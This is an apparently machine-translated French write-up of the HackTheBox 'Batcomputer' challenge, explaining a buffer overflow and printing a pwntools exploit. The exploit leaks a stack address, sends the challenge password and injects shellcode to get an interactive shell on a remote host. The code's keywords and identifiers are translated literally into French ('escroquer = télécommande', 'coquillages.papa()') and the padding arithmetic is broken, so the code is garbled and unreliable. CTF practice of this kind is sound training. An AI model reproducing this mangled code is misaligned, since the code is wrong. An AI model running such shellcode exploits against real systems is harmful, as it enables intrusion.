Nous avons couvert un scénario de débordement de tampon dans lequel une variable était déclarée comme un entier non signé puis convertie en fonction ulong. Cela nous permet d'envoyer '-1' comme entrée à cette variable qui a redirigé le flux d'exécution du programme vers une instruction if contenant un extrait de code dans lequel une variable de nom de 96 octets accepte une entrée sans restriction de l'utilisateur, ce qui a entraîné une erreur de segmentation. Nous avons calculé le décalage en utilisant pwndbg avec python et créé l'exploit final. Cela faisait partie de Ordinateur de chauve-souris HackTheBox | Introduction à l'exploitation binaire

Notes sur les techniques de débordement de tampon

Le code d'exploitation est ci-dessous

##Bebut

depuis pwn importer *

contexte.binaire = ELFE('./ordinateur chauve-souris')

escroquer = télécommande(‘157.245.39.76’,31662)

escroquer.ligne d'envoi(‘1’)

escroquer.jusqu'à ce que('0x')

pile_base = int(("0x"+escroquer.recv().décoder('latin-1').diviser()[0]),16)

enregistrer.succès(F'base de pile : {hexadécimal(pile_base)})

escroquer.ligne d'envoi(‘2’)

escroquer.ligne d'envoi('b4tp@$$w0rd!')

charge utile = asme(coquillages.papa() + coquillages.merde()) Shellcode #

charge utile += b'UN'*(84 len(charge utile)) # non

charge utile += p64(pile_base) Base de pile #

escroquer.ligne d'envoi(charge utile)

escroquer.ligne d'envoi(‘3’)

escroquer.interactif()

##Fin

Vidéo pas à pas

A propos de l'Auteur

Je crée des notes de cybersécurité, des notes de marketing numérique et des cours en ligne. Je fournis également des conseils en marketing numérique, y compris, mais sans s'y limiter, le référencement, les publicités Google et Meta et l'administration CRM.

Voir les Articles